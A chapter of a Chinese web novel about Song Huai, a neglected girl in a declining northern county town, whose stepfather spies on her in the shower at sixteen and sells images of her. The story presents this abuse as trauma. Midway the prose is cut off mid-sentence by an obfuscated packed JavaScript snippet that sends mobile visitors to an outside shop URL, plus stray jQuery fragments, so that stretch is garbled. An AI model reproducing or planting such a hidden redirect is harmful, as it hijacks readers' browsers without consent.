宋槐十五岁之前妹妹未出生，她过着孤独的日子，老家在槐临。


    槐林是个什么地方呢？非常典型的，被时代抛弃的，比乡镇大比城市小的县城，槐林靠山沿河，四季分明，空气干燥，属于典型的北方气候，它有逼仄的街巷，罩着层黄土一样的店面。尤其一入冬，猛烈刮着狂躁且含砂砾的风，陈旧街道边零零散散几家店铺放着上世纪初的伤感流行乐，结合天上雾霾，都给槐林添了些伤感底色。宋槐走在街道上，路过行人时会嗅到一种气味，发旧棉袄皮衣上的樟脑丸余味儿，相比店铺门面，地摊更多，各色各样的，卖二手烟酒，甚至投钱算命，萧瑟的北方县城，赶不上国家发展，个人命运重叠着，被滞留在过气的流行乐里。


    宋槐家住一个小区，联排筒子楼，楼层没有刷漆，保留砖块原始颜色，走进去，一条长长的走廊，两边排列着十几个单间，门对门，脸对脸，人撞人，走廊昏暗，阴燥破旧，气味杂糅，家门口摆着很多东西，电饭锅，蒸锅，不锈钢脸盆，那种大红色的嫁妆，还有不用的衣柜电视柜床头柜，上面堆满各色纸箱子，有时还能停辆自行车，她睡简易钢丝床，卧室12平米。


    母亲叫宋妍，宋槐随她姓，名字单取一个槐字。


    宋槐真的像槐花一样野蛮生长，好养活，七扭八歪，结出的花也不喜庆，尝一口还有苦味。


    宋槐不知道父亲叫什么，没人告过她，只记着他姓张，是广州十三行做服装的老板。


    母亲宋妍和张老板没结婚，只拍过一张照，没去照相馆，是父亲用小城里罕见的数码相机拍下的。照片里宋妍抱着她，母女俩笑得都很开心，她特地换上最喜欢的那件蓬蓬裙，粉红色的，还有舞蹈鞋，扎两个小辫子，脸肉嘟嘟的，宋妍更是美得不可方物，明艳大方兼具侵略性。


    父亲没和她拍过照，那会儿的她并不知道避嫌这两字，父亲好像很讨厌她，是真正的厌恶，因为母亲属于城里大佬的情妇，好听点叫第三者。


    母亲天生丽质，美得像港圈女明星，也会招蜂引蝶，会说话会来事儿，更会撒娇，懂得如何拿捏男人，是她的杀手锏，她以此为傲。母亲也有工作，就是开麻将馆，小巷子深处那家，门面不大，左右挨着发廊和旅馆，里面四五桌，天花板悬挂几个灯泡就能拉下铁闸门开业，教人打麻将或者自己下场赌点钱，经常穿红色挂脖裙去，能赢不少，也可能是男人故意输给她。


    小城镇流言蜚语多，母亲身上的唾沫星子从来没少过，她心大也不在乎。早出晚归的打麻将，或者出去逛街买新衣服，打折的包包。玩的花心太野，是大部分人对她的评价，她也没把心思挪一点到女儿身上，只是每月父亲往家里汇五千块钱，母亲会给宋槐二百块。


    理由是母亲觉得一未成年小孩儿，用不着花那么多。小学倒还好，书本费不贵，宋槐也没物欲，放学路过小摊贩，从不会看一眼。她十二岁前，是自己养活自己，吃饭、睡觉、上下学都是一个人。


    初中就不行了，除去每半年的学费外，还有练习册，校服钱和伙食费，尽管食堂饭不好吃，但钱收的也不少。每天下课教学楼孩子们蜂拥而上，比跑八百还快，宋槐抢不过他们，站在队伍末尾打饭，到她就没剩几个了，寡淡菜汤里是大白菜梆，漂浮一些肥肉沫，阿姨抬眼瞧她瘦小，估摸这姑娘饭量少，勺子舀米和菜再颠颠，递给她，一刷卡，五块六没了。


    她曾跑到麻将馆找宋妍要钱，掀开橡胶门帘，踩上满地烟头，需忍受男人们噼里啪啦打麻将的声音，还有不怀好意的目光在她身体上下游离。


    有些常打麻将的人会说，“呦，妍姐，你姑娘来找你了，快看看人家有啥事儿。”


    “诶，还真别说啊，你姑娘那双眼睛，和你是真他妈像啊。”


    宋妍的双眼不圆钝，略显狭长，眼角眼尾都尖，有点儿像某个香港女明星，好像叫关之琳。


    宋妍坐收银台后面，研究刚买来的魂斗罗游戏机，薄眼皮一翻，开口问，“你怎么来了。”


    “没钱了，”宋槐余光察觉出有不少人投过眼神，来看一出好戏，那时她还小，脸皮薄，只会把头低下，露出脖颈后凸出的骨，尽量大声说话：“妈，没钱吃饭了，饭卡还剩五十，食堂最便宜要七块......”


    “你以为我就有钱了吗？”宋妍把游戏机一扔，“你就逼死我吧，哪天把我逼死连学都上不成，一天到晚的，不给家里贴补.....你倒好，反而天天找我伸手要钱，看我干什么？有本事你自己出去挣。”


    实话不假，十二岁以后，母亲父亲关系变淡。街坊邻里常说，这是年老色衰被大佬抛弃了，可母亲是心气高的人，她总要出去应酬，打麻将，好找下一个养活家的男人，母亲把自己托付到未知的男人上，也把女儿交给邻居管。


    邻居一家和母亲关系还算可以，虽然心里看不起，但面子上好歹能过去，对宋妍也没太苛刻。


    寄人篱下的日子不好过，宋槐心思敏感，要观察别人一举一动，时刻准备讨好。邻居家孩子是上高中的男孩，个子特高，不苟言笑的好学生，宋槐不敢看他，在桌上把脸埋进碗里假装吃饭，碗里根本没多少吃的，她也不敢多夹，更不会把手伸长夹离她远的菜，哪怕很饿，很香。


    她很羡慕邻居家儿子，因为邻居阿姨对他太好了，知道学校食堂不好吃，专门做顿饭让他回来吃，肉最大的排骨，没刺的鱼，全在他碗里。


    她中午睡书房，就是在书柜旁边支一张可伸缩弹簧床，睡上去吱扭吱扭的响，那会屋里安静，她不敢多动、翻身，想上厕所也得憋着去学校。


    冬天更难熬，大家的御寒措施是手套、围巾和耳罩，宋槐就一件冬季校服。别人问她，你不冷吗？她说不冷啊。那你可真抗冻呀，零下十几度诶...护手霜也没买，洗完手就疼，那种皮肤撕裂的感觉，干了就是几道血印子，还有摸起来粗糙的，一圈圈的白皮。


    以及，她很瘦，像长不熟的豆芽菜，站在寒风里更似一根狗尾草。


    母亲缺席，父亲也缺席了宋槐的人生，甚至以她为耻，父亲也说过，看到宋槐就像见了很污浊的产物。她也只与父亲见过几面而已。


    慢慢的，母亲的麻将馆生意不行了，随着年代发展，国家明令禁止赌-钱，到最后干脆关门。加之母亲年岁渐长，难免有人老珠黄力不从心的时候，母亲打算把心放回肚子里，找个踏实男人过日子，她也把宋槐从邻居家招呼回来，偶尔过二人世界。


    小镇的男人都有处-女情节，对母亲这样的二手货嗤之以鼻，由俭入奢易，由奢入俭难。母亲是见过大世面的女人，挑挑拣拣就没适婚的男人了。她又开始打扮自己，用化妆品武装自己，底子好一打扮就水灵了，烈焰红唇，大眼睛会勾人。


    本地正经男人不好找，母亲就找了个外地的，是在社区办公的崔明宇，每天管理那片治安、居民生活大小事，大部分时间坐办公室，中专生，有文化，那个年代中专毕业包分配，每月工资不少，缩衣减食正好养活她们两人。


    以及逢年过节，单位都会发很多年货，人人有份，槐林百货购物卡，卡里有一千到两千不等，牛羊肉，猪肉，蜜饯干果肉脯，红富士，新鲜大橘子大橙子，巨峰葡萄，最大和乒乓球一样，还有东北一年一熟的大米，两袋子，顺便送对联鞭炮，基本不需要再添置东西。


    母亲主动联系的崔明宇，两人一来二去，有点一拍即合的意思，崔明宇好像也找回点初恋又心动的感觉。


    要不说知识使人进步，崔明宇不在乎母亲以前的身份。


    母亲每天春光满面，特高兴，竟然一周七天，连续给宋槐做了六顿午饭，那是她第一次吃母亲的饭，常有的几道就是炒白菜，西红柿鸡蛋，还不错，母亲撑着桌子，勾起腿笑着说，妈妈要回归家庭，做个贤妻良母了，你和崔叔叔就是我人生的全部。


    崔叔叔搬进她家住的那天，邻居还偷偷把门开条小缝看，楼上楼下也有很多议论的。


    崔叔叔也不在意，笑着环视一圈，六十平米的老房子，客厅的电视柜上罩了层白色防尘布，镂空有花纹的，底下是饼干盒。客厅连接小晾台，台上摆着几盆君子兰，两间卧室，卧室中间是新修的厕所，餐厅就挤在客厅和卧室那块。


    母亲挽上崔叔叔的手，带他进卧室，给他收拾行李，给他换衣服，把脱下来的扔进洗衣桶上。崔叔叔看见宋槐，先是很和善的打招呼，把刚买的烤肠给她手里，宋槐咬了一口，叫声崔叔叔好。他长得不算好看，但实在面善，眼尾眼角圆钝，眼睛不笑也是弯弯的，笑起来更是叫人害怕不起来。


    宋槐与他没什么天然的距离感。


    崔明宇下班接宋槐回家，那会儿她上高一，刚好十六岁，他会买路边烤串给她吃，叫她不要告诉你妈妈，只是有点奇怪，他会过问宋槐很隐私的事情，问小槐你来例假了么？


    宋槐没多想，对他点头。


    后来体检表出来，他也会过目，盯着三围那栏看，宋槐脸当时就红了，全身冒冷汗，劈手夺过体检表。


    她开始畏惧崔叔叔，毕竟一个陌生的、毫无血缘关系的男人，会对你有多少好心呢。她对母亲坦白，母亲不信，说你太敏感了，他可是你叔叔，结婚后就是你爸爸了。


    高一那年暑假，母亲再次怀孕了，崔叔叔很高兴，每月又给母亲不少钱花，母亲也不往外跑了，在家安心养胎。


    宋槐有天学习完，去厕所洗澡，总觉得有双眼睛盯着自己看。


    她们家是淋浴，也没帘子，和门只有几步远，她又脱完衣服寸缕不留。


    宋槐心惊胆战的洗澡，左顾右盼的，水再烫，砸身上都没感觉。可怕什么来什么，洗过头发，冲干净身上的泡沫，门就忽然从外推开了。崔明宇站在洗手台那，和宋槐只有两步距离，他在看她的身体，一个十六岁、年轻的、没发育完全的身体。


    那个眼神宋槐记一辈子，打量、审视、像针一样扎她身上，她当时就蒙了，大脑一片空白，脚下像生了根，腿软的走不动。


    崔明宇笑着说，原来是小槐在洗澡啊，叔叔不知道你在，叔叔进来拿笤帚。宋槐眼眶被泪憋红了，唰一下蹲地上，躲在洗衣机后面，崔明宇还不依不饶走到洗衣机旁边，探着脑袋瞅宋槐，说你怕什么，叔叔拿个笤帚就走。


    那可怕的气息在逼近，宋槐不敢看他，蹲着，双臂交叉，用仅存的壁垒，保护自己赤-裸的身体。


    在那之后的几天，她整夜整夜的做噩梦，想起来就会哭很久。


    宋槐申请了假期住校，再没见崔明宇一面，但事情没那么顺利。


    崔宣出生后，她要去医院陪护刚顺产的母亲，去找护士，让崔宣排队洗澡。那是她第一次见婴儿，满脸皱纹的，几个巴掌大的孩子，且是和她有血缘关系的妹妹，孩子六斤多点，各项指标正常，崔


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14228940|149140||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    明宇很高兴，让宋槐先去自助餐排队，交了定金。


    再回来时，病房里只剩母亲一人，她问崔叔叔哪去了，母亲说去看妹妹了。


    床上还落着崔明宇的手机，提示音不停的响，宋槐拿起来看，是微信群聊的消息。那会儿智能手机刚普及，功能没那么齐全，没有对单独软件锁定功能，她不用解锁，就能在屏幕上看见群聊或短信消息。


    上面几段话特别扎眼。


    “你干女儿身材真不错，啥时候再拍点？她还在你家洗澡不？”


    “能不能近距离的拍点，要细节，看不清，最好录个视频。”


    “我跟你说，声音和图像越清晰，卖的前就越多，你懂不懂？”


    “最好是躺床上的，这个能卖好多网，这样老崔，你把她操了算了，反正也和你没血缘关系。”


    -


    不争气的大脑又是一片空白，宋槐手冷得像冻住，全身发软，颤抖，脑仁像冲血一样嗡嗡响。母亲问的话，好几遍她才听清。


    她把屏幕举到母亲眼前，麻木的，一句话没说。


    到底是自己生下来的姑娘，说不难受，说不生气是假的。母亲还没正式坐月子，就从床上跑地下，找崔明宇理论，母亲罕见的对男人爆粗口，像泼妇一样大喊，“你他妈真不是个东西，老娘睡了这么多男人，也没见哪个狗东西给我拍照，下面那玩意儿管不住你就拿刀割了！”


    场面很乱，宋槐满脸是泪的躲在床边角落。


    据说是大吵了一架，崔明宇不肯承认，母亲在大庭广众下这么说，也丢了他的面子，换来崔明宇一记重重的耳光。


    这一巴掌下去，把母亲打傻了，半张脸都是红印子。


    自那之后，崔明宇的灵魂像是裂开道口子，从里流出阴暗潮湿的东西，在家里流淌，蔓延。母亲刚生完，身体弱，身边的钱又全是崔明宇给的固定生活费，根本没能力和他对抗，只是对慌乱的宋槐说，没办法，忍忍就过去了，内心强大点。


    她没胆量给女儿一个交代，还她清白。


    事情在小城里流传，她的照片视频被卖了不少钱，不知道被转了几手。快上高二的宋槐，开始对他们恐惧，走在路上不敢抬头，余光瞥见说话的路人，都会觉得这是在议论她，那会儿在一个少女心里，她认为自己这辈子完蛋了。


    孩子叫崔宣，是宋槐一个人带大的，也因要照顾妹妹，宋槐从学校宿舍搬回家住，换洗尿布，调奶粉，哄妹妹睡觉。半夜会听到母亲和崔明宇吵架，男人很凶，对母亲动手动脚，母亲哭诉抱怨，说他发的工资也不给家里花，自己打游戏玩股票，还在外面聊女人。


    开始，宋槐会缩在被子里战栗，把耳朵死劲儿堵上，但他们天天吵，天天打，到最后宋槐都麻木了。


    崔明宇走的那天，说是要出差，母亲叫她去厨房做点饭，他们有事情谈，宋槐戴上格子围裙去灶台边，开换气扇，耳边声音嗡嗡的，完全听不见外面说什么。炒了三个菜，切了盘熟肉，宋槐端出去，看两人急赤白脸剑拔弩张的模样，默不作声的夹菜。


    那顿饭吃的特别压抑，没人说一句话，崔明宇扒拉两口，拉行李箱就出门了，桌上只留母亲和她，母亲说话时，伴随崔宣阵阵的哭声，她劝宋槐，你退学吧，家里没经济来源了，供不了你读书了，你上了也未必能考上大学，去打工吧，家里还有你妹呢。


    宋槐咬着牙，指甲嵌进掌心里，抬眼盯着母亲，母亲眼神开始躲闪，一会坐直，一会弓背。她上学的权利被剥夺了，那一刻，她恨透了宋妍，恨得牙痒痒，她的前途，未来，那原本光明的未来，全没了。


    学还是退了，高中不是义务教育，班主任劝不动，也只能同意宋槐退学，她学习很好，每次模拟考在班里都排前十，成绩稳定，肯努力，沉稳的像勤奋耕耘的老牛。


    可尽管如此，宋槐还是被迫放下课本，拿起了盘子，抹布，尿布，早早变成家庭主妇的样子。


    宋槐不清楚崔明宇离开的深层原因，也忘了是哪天，印象深刻的是他走后几天，槐林出现小风波，足矣波及每个人，据说县政府开工厂，运煤矿，开山头，变压器厂也拔地而起，钢铁建筑上冒出汩汩浓烈黑烟，总归，为挣钱引进不少外来劳动力，三十岁以下的年轻身体，逼退本地人离岗。


    外来人挤压槐林人的就业空间，能留下的少之又少，和领导没关系的，或者关系不好没送过礼的，再来就是年龄大和学历低的，小县城是关系网，离了关系寸步难行，这一筛选，又能待住几个。


    当然，宋槐也被波及。


    家里没收入，她也找不上工作。


    她可以捡破烂卖垃圾，干点儿不体面的杂工交水电费，暖气费尤为重要，槐林冬天难熬，没暖气再一下雪，能生生冻死人。


    日子越过越紧巴，入不敷出，母亲也在议论声中越来越颓废，完全没了打扮的兴致，从花边小吊带，上面还有霹雳光的亮片，变成衬衫牛仔裤，无论外地男人、本地男人，都把她当笑话，说这骚.货终于被打怕了，渐渐的，母亲精神状态愈发差劲，嗜睡，浑身乏力，大小便不正常。


    这地方待不下去了。


    宋槐抱着崔宣睡觉，就看墙上贴着的中国地图，选择那个城市，那里很闷，潮湿的热，刚下火车时，满眼的高楼大厦，路边的绿化带，是茁壮的树苗，以及五彩的花圃。


    那座城叫望海。